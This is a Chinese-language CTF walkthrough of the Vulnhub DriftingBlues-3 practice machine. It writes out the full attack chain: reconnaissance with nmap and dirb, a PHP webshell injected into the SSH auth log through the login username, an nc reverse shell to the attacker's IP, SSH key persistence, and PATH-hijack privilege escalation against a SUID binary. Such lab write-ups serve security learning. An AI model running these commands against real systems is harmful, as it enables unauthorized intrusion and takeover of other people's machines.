Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可,可能比较偏向CTF点。
Vulnhub靶机下载:
官网地址: https://www.vulnhub.com/entry/driftingblues-3,656/
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
前言:这里又是DriftingBlues-2的问题 需要自己配网卡
具体参考:https://blog.csdn.net/Aluxian_/article/details/125095660?spm=1001.2014.3001.5501
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :192.168.205.133 靶机IP :192.168.205.138
使用命令:
nmap -sS -A -T4 -n 192.168.205.138
这里开启了22
端口和80
端口 dirb
扫一下 发现了robotos.txt
发现了/eventadmins
继续访问然我们检测/littlequeenofspades.html
发现好像是一串个歌词 但是好像没啥用 F12
查看源代码 哦呦!!发现是一串base64
(开心坏了)直接解码
base64:http://www.jsons.cn/base64
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
最终得到了 /adminsfixit.php
继续访问 发现是ssh
日志记录 可以尝试往日志文件写入一句话后门
②:反弹shell:
看到出现ssh auth log --> ssh
身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中
使用命令:ssh '<?php system($_GET["a"]);?>'@192.168.205.138
http://192.168.205.138/adminsfixit.php?a=ls #执行成功
使用nc
回弹shell
:
kali开启监听:nc -lvnp 4444
?xa=nc -e /bin/bash 192.168.205.133 4444
python -c 'import pty; pty.spawn("/bin/bash")' #交互shell
进入home
下 发现robertj
用户 然后进去 查看隐藏文件 ls-al
发现 .ssh
文件
直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证
cat id_rsa.pub > authorized_keys
然后将私钥复制到本机
然后把这ssh
私钥复制到桌面 因为我这里输入了密码:123456
所以等下也要输入!!!
③:ssh私钥登入:
赋予权限:chmod 400 id_rsa
使用命令:ssh robertj@192.168.205.138 -i id_rsa
④:命令劫持提权:
使用命令:find / -perm -u=s -type f 2>/dev/null
大概的原理就是 执行系统命令所以我们可以自行编写一个同名文件,
比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo
至此获取到了所有得flag,渗透测试结束。
Vulnhub靶机渗透总结:
1.解决扫不到靶机的问题(第二次遇到这种情况)
2.信息收集其中的base64
编码(偏ctf)
3.通过SSH
日志信息记录反弹shell
(新知识点,第一次做花的时间比较多)
4.这次有个命令劫持提权 通过修改环境变量实现(新知识点)